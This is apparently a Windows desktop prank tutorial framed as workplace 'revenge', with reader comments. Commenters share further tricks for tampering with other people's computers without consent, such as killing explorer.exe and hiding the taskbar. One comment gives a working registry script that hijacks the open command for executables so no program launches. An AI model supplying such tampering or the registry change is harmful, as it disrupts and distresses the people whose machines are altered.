OFFICE WARS: annoying Windows prank; make your boss, his rude spoiled secretary and his a**kissers go crazy! >:) (+video inside)

So, this is mainly for using against people that really deserve it, but if you want to have some extra fun, you can play it to your/family friends too.

But let's stick to the workplace.
All of you may have come across some nasty personalities at your job.
it is either a:
evil boss ::::: a**kissing servants :::: rude secretary :::: or sometimes all 3 combined.



So, this are the kind of victims that deserve it.
IT'S TIME FOR REVENGE, the prank that will let them know they are not liked at all >:)

Remember, watch your timing and be quick. Do some practice first, test how fast you can operate it.

(!): I saw after publishing a similar instructable about this, yet I took this prank to another level, it's more about confusing, not making the victims believe they computer totally froze up. They won't suspect it is prank. Read the end of the instructable also, please.

Step 1: Vulnerable

You all know how people usually interact with their desktop. They click all day long with the mouse around, very few actually use some power-shortcuts from their keyboard.
They just click, double click, drag, right click, click again.

What if they couldn't click any more, but still can? This is as confusing as it gets :D

One typical Windows XP desktop, ready to be hijacked :D

Comments

[jack1197]

I did this at school except i made the task bar so small you wont see it, that computer still "doesn't work"

[king kolton9]

i used to know the infinit shutdown prank off hand but now i don't imagin god (censored) you!! help me or else! or what idk ill slap you. ok olny if you kiss my but for the rest of my life. no!!!! ok then your screwed. fine.

[hacker99]

 if you kill the explorer.exe proses in taskmeneger the taskbar wil be gone but wont go back until resart

[Maxaxle]

Better yet: hide "none.bmp" somewhere in the unused reaches of the C:\ drive, like the WINDOWS folder.

[knexsuperbuilderfreak]

i did this to my teacher

[kid3]

you'd really be screwed if you got caught

[shabaki]

wait i reread my comment and realized if the comps on network then if u have acess then u could just do from afar

[shabaki]

the best way to do it is if u r the tech guy/girl and make them look stupid after making a big scene by fixing in a manner of econds and then if the comps are on network chances are u can go delete none.bmp ( O . O ) < ------ them

[AlternateLives]

Here's an Idea: Go into properties of all of the shortcuts of the most-used Icons. That way, some of the Icons work, confusing them further! Make sure the victim is out a lot longer than 5 minutes, though.

[Derin]

In Edubuntu,a fun trick is to drag EVERY file on the desktop on top of eachother.

[Redgerr]

this is good, but the problem is that the time in the bottom corner will not change, it will continue to be the same as it was before :O that is if you make the bottom bar disapear too so they cant restart >:O lol :)

[watermelonhead]

you can, just reduce its size. if you go to far, it'll disapear

[cgel1015]

The taskbar is still active after this, so the clock will continue to function. That is what causes some of the confusion :)

[ClayOgre]

hmmm....I wonder if there is a way to do this with a Linux live CD to hack into a locked down windows system....?

[memyselfand1]

This is brilliant!! There are heaps of people in our class who deserve this. I seriously have to try it!

[drmjj55]

you coul move the taskbar down and wala!!!

[hylan32]

Ctrl+Alt+Del= Task manager. Click "Processes" tab and then press "E" on the keyboard until you find "explorer.exe", right click it and select "End Process", click "OK"

[hylan32]

do it again, except go into the "Tasks" tab, click "New Task..." type in "explorer.exe" and then Click "OK" this will restore full desktop usability.

[hylan32]

to make it even more realistic:

Ctrl+Alt+Del= Task manager. Click "Processes" tab and then press "E" on the keyboard until you find "explorer.exe", right click it and select "End Process", click "OK"

This will remove the ability of being able to right click or do anything a "normal" user would want to be able to do.

[adityagautam]

check my trick out... the same... but a step further...

[eviltechie]

You could just set the desktop without hiding the icons. Then if they delete or move one, it won't move.

[coolz]

you could also disable the taskbar...

[Fondots]

you can also right click on the taskbar, unlock it, and drag it down, so they cant even use the start menu and such

[AZIMUT]

I tried this but it does'nt work on vista :(

[The Mollusk]

yes it does, I did it to my computer to piss people off when they try to use it.

[thejrb]

Ever heard of the windows key?

[The Mollusk]

I pop out the windows key and switch it with the key next to it.

[Xellers]

If you do this and then go to the task manager and force quit "explorer.exe", someone will go crazy!

[ReCreate]

force quit?

[Derin]

man yea!

[Fondots]

strangest thing about that, no one seems to think about that, most people just freak out, start clicking everywhere, and eventually just force shutdown their computer, almost no one thinks to use the windows button unless they already know what's going on.

[AZIMUT]

I did this prank to my little sister. She started crying beause she thought that she had broke our brand new laptop. LOL

[freakinslop]

a pure classic i love it =D

[vaiden]

Here is another, more complicated windows prank that will have it coming to the pc soon. Take this text and paste into a file in notepad.

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%COMPUTERNAME%\" %*"

save the file as whatever.reg. Make sure the file isnt whatever.reg.txt, because then it wont work, itll just open in notepad. If all went well you have a registry script that will make all executable files open with the open with dialog!

Make another reg script with the %computername% replaced with %1%, which is the default behavior, so if you need to correct the change you can run the second one to put it back!

[drahz]

and what does this do?

[vaiden]

search for "fun with friend's PC" for my instructable on this.

[vaiden]

I have an instructable here with full instructions, but this prank causes all executable programs to open the "run with" dialog instead of running. You know, the drill, what program do you want windows to open this with?

[drahz]

Don't forget to unlock the taskbar and resize it so that you can't see it.

[Full Frontal Graphic]

and then lock it again

[fwjs28]

whats funny is to move the login screen allllllll the way to the bottom so you cant see it unless you know its there.....they will go o-no!!!